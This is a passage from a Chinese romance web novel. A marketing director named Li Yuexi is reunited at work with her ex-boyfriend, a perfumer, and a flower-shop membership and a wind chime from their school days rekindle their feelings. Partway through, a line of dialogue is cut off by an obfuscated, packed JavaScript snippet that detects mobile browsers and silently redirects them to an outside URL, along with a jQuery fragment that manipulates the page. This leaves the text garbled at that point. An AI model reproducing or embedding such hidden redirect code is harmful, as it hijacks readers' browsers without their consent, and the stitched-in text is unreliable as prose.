易思岚抓过椅背上的外衣往身上套,“行啦,都不饿吗,别相互客套了。” 他朝罗依琳扬了下眉,“杉青的事应该处理得差不多了,给他发个餐厅的位置,人齐见一面,之后再沟通细节也方便。” 罗依琳答了声“好嘞”,闷头鼓捣手机。 黎悦夕却怔在原地。 他不出现本来就是故意在躲着她,可真要合作,以后在人前见面又怎么可能避免? 之前几年积累的怨怼还没让他发泄完,那天又吵一架闹得尴尬,这样的关系在工作场合碰面,注定是不会顺利的。 一刹,她甚至有些后悔为了见他就冲动接下这个项目。 她还在垂眼暗自出神,门边忽然有脚步声靠近。 几人循声去看,叶杉青面色稍显疲倦,臂弯里揽着件黑色的外套走近。 他站定,越过面前三人,冷霜似的眸光准确无误落在黎悦夕身上。 她被盯得不自在,想张口说点什么缓和气氛。 易思岚在这时介绍道:“这是之前跟你提过的,新香水宣传合作的总监,黎悦夕女士。” 说完又看向黎悦夕,“这位是我们见山的另一位合伙人,也是调香师,叶杉青。” 黎悦夕眨了眨眼,眉心隆起,喉咙像被哽住。 挤出个微笑,才递上汗意微湿的右手,缓声说:“你好叶总。” 叶杉青仍在直勾勾看她,语调轻飘飘的,“上次叫我这位先生,今天又叫我叶总,就那么喜欢装不认识我?” “我……”黎悦夕语塞。 这不就是场面话。还以为他出社会这么久,应该也会配合才对。 难不成要她直接说,他们曾经是前任? 边上的易思岚有些诧异,“你们认识?既然是熟人,那合作起来就更方便了。” 他笑着朝黎悦夕补充了句:“合作愉快黎总监。” 话到这里,黎悦夕也只好回:“合作愉快。” 这头的叶杉青却不接话,也没好脸色。 反而把臂弯搭着的外套反手扛到肩上,回头就走,只留下冷淡一句:“和前女友合作,愉快不了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14640929|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 黎悦夕彻底说不出话。 边上的三人也近乎石化,此刻大约宁可原地隐形。 续念偏头看了看易思岚和罗依琳,仿佛无声在说:“什么情况?” 两人都摇了摇头,不明所以。 门外脚步声急促,渐远后彻底消失在耳畔。 黎悦夕呼了口气,调整好表情后才说:“抱歉,我没想隐瞒和叶总的关系。如果因此合作起来不方便,我接受换人接手这个项目。或者你们要换家公司合作,我也没意见。” 续念撇撇嘴,有些不好意思,“黎总监,也怪我没了解清楚状况,让你为难了。” 她皱着眉,还没缓过来,“我和叶杉青认识时间也不短了,他表面看起来虽然有点不着调,但是一直还挺心细的,从来也没像今天这样,当众让人下不来台。” 易思岚揽住她肩膀安抚,“不怪你,他就是小孩脾气。” 他接着看向黎悦夕,“黎总监你也不用多心。在场除了你们两个当事人,也就只有我们三个和他熟悉得不能再熟悉的人,但凡刚刚多一个外人,他也不可能那样不体面。” “我了解他,他刚刚那样说,明摆着就是故意要把你俩的关系告诉我们,不愿意藏着掖着,只是语气差了点。” 黎悦夕笑得窘迫,“我和他,前两天确实有些不愉快,如果因此影响项目进度,也不太好。” 易思岚点了点头,“总之,我这边挑合作对象摆在第一位一定是专业能力。但合作是双向的,黎总监你要是实在觉得不方便,也可以拒绝。” 黎悦夕说:“我考虑考虑吧。” - 已近深夜,叶杉青还待在办公室没走。 他没开屋里的顶灯,空荡荡一间屋子,只有办公桌上的一盏台灯散出淡光。 他斜身倚在窗边,指尖一点猩红在黑暗中夺目。 挪到唇边深吸一口,又慢吞吞将白烟吐出后,他灭了烟,还是拨了易思岚的电话。 “大半夜的,不睡觉啊?”听筒里声音很沉。 叶杉青清了清嗓子,故作随意,“新品宣传方案已经敲定了?” 易思岚回:“差不多了,你有什么要补充?” “不是,”他沉默片刻,理由找得恰当,“我只是想说,出一版完美的方案不容易,既然已经敲定,那就别换人了,不用顾忌我,免得改来改去费时费力。” 易思岚:“大半夜,就为说这个?” 他轻啧了声,终于还是按奈不住情绪起伏,“这可是关乎工作室前途的大事,身为合伙人之一的我,为之操心不是很正常吗?” 听他这么激动,那头的人忍不住笑起来。 “你笑什么?”得不到正面回应,叶杉青语速更快了,“这次的宣传本来就不能马虎,新品推介成功,咱们见山的市场也就算是真正打开,能真的在行业内站稳脚跟了。不是吗?” 易思岚:“是是是,叶总说得都对。不过这件事现在可不是我说了算的。” “什么意思?”他问。 易思岚故弄玄虚道:“你下午闹得那么尴尬,人家黎总监说要考虑考虑到底合不合作。你要是想留住她……她们这个方案,就自己去争取一下咯。” 叶杉青抿唇,极不情愿的语气,“行,我这都是为了工作室才委曲求全的。” 电话挂断,他仰头望着天际高悬的冷月,想到过去那么多年来,数不清多少个暗夜,她不在身边时他都是这样一个人寂寥地度过,忍不住长长叹了口气。 至少,至少现在见她一面不再是遥不可及。 又点一根烟燃尽,他还是给黎悦夕发了信息:[明天有空的话,我们见一面。] 13. 夏夜出逃 入秋,暑日热气却还余留,这样的气候下人总是容易疲乏。 连日的工作积累,黎悦夕身上的疲乏更是加倍,今天一早闹钟响了三遍才终于揉着眼睛下床。 脑袋懵懵地洗漱、换衣服,又从冰箱里拿了牛奶和面包捏在手上边吃边出了门。 到达地铁口的时候,嘴里最后一口面包吞下。 她反手伸进挎包摸索一番,找出耳机戴上,闷头点亮手机要去找音乐播放器。 这时才看清微信有一条未读信息,是叶杉青昨天夜里发来的。 叶:[明天有空的话,我们见一面。] 黑底白字清晰就在眼前,想到他昨天白天那副爱答不理的样子,她又觉得虚浮。 他这算是在主动示好? 还是作为合作方代表在为了项目例行公事? 黎悦夕刚想到这里,地铁到站的声响打断她的思绪。 车厢里的人鱼贯而出,车厢外的人步履匆匆蜂拥而入,她挤在人堆里,被动地往前挪动。 在车厢里找到位置站定,重新低头去看那条信息。 不管出于什么原因,已读不回还是不太礼貌的。 她迟疑片刻,如实说:[今天跑现场,几点能结束还不确定。] 按下发送,她将页面切换到音乐播放器,选中常用的歌单开始随机播放。 几秒后,歌声传入耳廓,她却仍旧静不下心,又在对话框里补充一句:[不是找借口搪塞你。] 为了作证明,她还把昨晚叮嘱桑宁今早不用去公司打卡,八点半直接在活动现场会和的信息也一并截图发送过去。 不管他发来信息的用意为何,反正她现在问心无愧。 这么想着,她畅快地呼一口气把手机往包里随手一扔,没再去管。 叶杉青一大早就待在工厂盯进度,快十点钟的时候接了通电话,恰好抽出空去看手机。 未读信息多,他从上往下逐一回复,最后才望见黎悦夕发过来的。 有了那天说加班,最后却发现只是推脱的说辞在先,他看见她说今天时间不确定的时候,下意识便觉得,她又是不愿意见他。 可不同于那天心底里翻涌的愤怒,他这会儿竟然只觉得有些难言的失落。 他扬了下眉,继续看剩下两条。 点开截图看清,脸上又阴转晴,唇角微扬了下,又迅速将本就不明的笑意敛起。 没经思考打出一句:[这是在主动跟我解释?] 前几天的矛盾还在,昨天也闹得不太好看,这么说不妥。 他删了这句话,改成:[知道了,你先忙吧。] 官方是官方了点,起码找不出什么破绽,毕竟现在还是见到她比较要紧。 他自顾自满意地点点头,按下发送。 - 傍晚时分,一天的忙碌暂时告一段落。 黎悦夕捧着快餐盒就近在台阶坐下,捏着筷子将饭菜往嘴里送。 桑宁也挪过来,给她递了瓶水,顺势在她身边坐。 她道了谢,偏头问桑宁,“又接触一个新的行业推广了,感觉怎么样?” 这次做的是个国货化妆品的秋冬新品推广案,当初方案敲定得极为顺利,桑宁还乐呵呵说,这是她目前为止最快完成的一个方案。 今天开始盯现场的布置才发现,方案敲定是容易,真的要把每一处细节都还原出来,和之前那些汽车推广、电子产品推广的难度完全不是一个量级。 桑宁双肩一垮,哀叹道:“不容易。我现在才明白,方案敲定得快,是因为咱们和品牌负责人都是女孩子,在化妆品这种事情上有与生俱来的默契和共鸣。可推广为的是吸引同为女孩子的消费者,女孩子们本来就是百花齐放、风格各异的,要把每一个点都展示出来,吸引不同性格的人,这就难了。” “不过看着场地一点点按咱们预想的布置出来,还是很有成就感的。”她弯唇。 黎悦夕点点头,对她的一番心得倒是满意,“我们桑宁长大咯。” “悦夕姐,别拿我开玩笑。”她难为情地笑。 黎悦夕缓声说:“不是开玩笑,咱们做策划和宣传,身边已经是个小社会,接触各种各样的行业、形形色色的甲方和不同需求的消费者。说到底,我们真正要做的,不光是写出一份白纸黑字的策划案,而是拿捏不同人的心思。 而我呢,能教你写方案这种程式化的东西,但是像刚刚你说的那些,是只有你自己亲身接触才会有的真实感受。我觉得,你离独立完成一个项目,已经不远了。” 桑宁眼前一亮,“那太好了,不过我到时候要有不懂,还是要来请教你。” 她应:“没问题。快吃饭吧,一会儿还有的忙。” 晚饭匆匆结束,一行人乌泱泱重新开始做自己的事。 十点多,商场大门关闭,她们只能从后头的员工通道出来。 白天纷扰的街道,这会儿只有零散几人。 夜风裹着枝头落叶滑落,温度倒是舒适。 黎悦夕收回准备打车的手,决定顺着路沿一个人走一走。 街角一家卖甜点的小店还开着,她在柜台买了个香草味的冰淇淋,握在手上边走边吃。 冰淇淋在口中融化,甜糯的气味蔓延,她弯唇笑了笑,脚下步伐都不自觉轻盈起来。 又往前几步,另一家店铺也还亮着灯,里头两名店员正系着围裙在做收尾工作。 黎悦夕偏头去看,注意到这家店也叫“春屿”,应该是上次那家花店的分店。 那天难得给自己买一束花,却被一场大雨浇得不成样子,她现在想起来还觉得遗憾。 今天既然误打误撞又遇上这家店,索性就再买一束。 她推门进去,轻声问:“请问你们是打烊了吗?” 离得近些的短发女孩先回头,微笑道:“还没,女士您需要什么花?十点以后,店里所有的花都是五折。” 黎悦夕“哦”了声,掀着眼帘快速在店内扫一圈,最终锁定在右手边摆玫瑰的区域,“折射玫瑰还有吗?” “还有一束,”女孩取了那束花送过来,“女士需要办个会员卡吗?最近店里有活动,您常来的话,办卡会更划算些。” 说着,会员的相关优惠宣传页递到她面前。 她接过,低头扫了几眼,觉得确实算是不错,便点头应:“可以,那你给我登记一个吧。” 店员笑眯眯递过登记本,看她写完后接下往电脑上登记。 双手正往键盘上敲击没两下,女孩却愣了愣,重新起身,“黎女士,冒昧问一句,您认识一位叫叶杉青的先生吗?” 他的名字忽然砸进耳朵,黎悦夕怔然,下意识张大双眼,“认识是认识,怎么了吗?” 女孩解释道:“是这样,叶先生前段时间在我们店里办过一张会员卡,特意登记过,说是如果叫黎悦夕的女士来买花,就用他的那张卡。还说——” “您问起来,一定要把他的名字和联系方式都告诉您。” “我……” “他……” 黎悦夕实在懵,捋不清他这么做的原因,更不知道究竟是什么时候的事。 更何况花店这么多,他怎么就笃定,她一定会来这一家? 静默片刻,她才问:“叶先生是什么时候办的卡?” 店员查询后回复道:“6月13号。” 她打量黎悦夕一眼,接着说:“那今天这束花,我就帮您用这张卡上充值的金额扣除了。” 等黎悦夕反应过来,店员已经输入数字,利落地敲下回车完成订单。 白色的小票从机器里吐出来,黎悦夕接过捏在手上看。 会员信息上显示的名字是他的,电话号码也是他的。 店员还说,他办这张卡的时间是6月13号。 那不正是他们俩街头相遇的那天。 所以他是因为那天在花店门前遇见她,为了找她才会专门来办这张卡,留下自己的联系方式? 她凝眸盯着怀里那束花看。 片刻后想到什么,匆匆去包里翻找,从隔层里拿出一个坠着雪花挂件的风铃。 风铃拎在手上,斜侧路灯的光线恰好落在那片雪花挂件上。 剔透的雪花刹那蒙上淡黄色,微风曳过,风铃声轻灵悦耳,像是记忆中少年灿烂温暖的笑颜。 / 高三,又一场考试考试之后,新年将至。 黎悦夕晚间结束兼职,背着书包折回学校,再次路过学校附近那家百货店。 她扯了扯肩上的书包带子,终于迈着步子走进去。 琳琅满目的围巾、手套和暖手宝,她逛了一圈,选了一条鹅黄色的羊毛围巾拿在手上。 收银台就在几步之外,直走过去就是。 她却还是刻意右拐,路过那侧的玻璃柜台前,脚步缓下来。 玻璃柜台里全是风铃,各种颜色,各式造型的都有。 黎悦夕仰头,视线精准无误落在右 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黎悦夕没犹豫,从口袋里摸出攒了很久的两百块递过去,“麻烦再帮我拿一个包装盒把围巾装进去。” “包装盒需要什么颜色?”店员问。 她应:“和围巾一样,鹅黄色就好。谢谢。” 钟意最喜欢鹅黄色,这个新年礼物她收到一定会很开心。 这么想着,黎悦夕不由弯了弯唇。 临走出这家店,又不舍地回头朝雪花风铃的方向望一眼。 她暗暗在心底给自己鼓劲:下个月,下个月一定攒够钱把它买走。 她深吸一口气,低头要加快脚步赶回学校。 没几步,去路被拦住。 黎悦夕抬眼,面前的人是叶杉青。 他穿一件灰白色的羽绒服,鼻尖冻得微红,风尘仆仆的模样。 “别拦路。”她冷声一句,想从旁边绕开。 她横一步,叶杉青也跟着横一步,左右就是不让开去路。 黎悦夕站定,不耐烦地说:“说了多少次,让你别总跟着我。你到底要干嘛?” 她搞不懂这位少爷到底想做什么。 一开始明明对她也和其他同学无异,连点头之交也算不上。 可从艺术节那次后,不知道他哪根筋搭错,食堂空位很多,他偏要要端着盘子去她旁边坐;午休时候总呼朋引伴去球馆的人,也开始拿着书本跟她一起去图书馆。 天热他给她递冰水,天冷他给她带热牛奶。 一天到晚,他好像总在眼前晃悠。 叶杉青笑得无奈,“黎同学,你好迟钝哦。” 她仍不解,“我怎么迟钝?” 一个男生总跟着一个女生,总看着她傻笑,做什么总是先想到她。 除了喜欢她、想见她,还能是要干嘛? 叶杉青怕戳破了她会尴尬,并没正面回答这个问题。 他右手揣进口袋里摸索片刻,神秘兮兮将握紧的拳头往黎悦夕面前递。 她蹙着眉,脑袋下意识后仰,“干嘛?” 他说:“你数三个数,有惊喜。” “我不跟你玩,我急着回学校。”黎悦夕还是想走。 脚步已经迈出去,却听面前的人语气软绵绵,撒娇似冒出一句:“你就数一下嘛,我专门为你准备的……” 这声调听得人心口一颤。 黎悦夕双腿不听使唤,还是停在原地,淡声开口配合:“三、二、一。” “新年快乐,阿悦!” 伴着“一”落下的尾音,叶杉青手掌一松,一枚雪花风铃从他掌心垂下。 叮铃铃的响声在两人中回荡,他咧嘴笑着,明澈眼眸与那枚剔透的雪花相映衬。 虽身在寒冷冬夜中,她心口却阵阵暖流涌动。 / 手上一个已经有些旧迹的雪花风铃,一束新鲜的折射玫瑰。 两样喜欢的东西,一个是他十年前送给她的,另一个是他现在买的。 黎悦夕扯着唇,颊边明明是笑意,却扯得心口疼。 她止不住有些发颤,长长吐出一口气后,抑制住情绪,拿出手机拨通了他的电话。 “杉青。” “我想见你。” 听筒里的声音清冽,简短却干脆地回了两个字。 “回头。”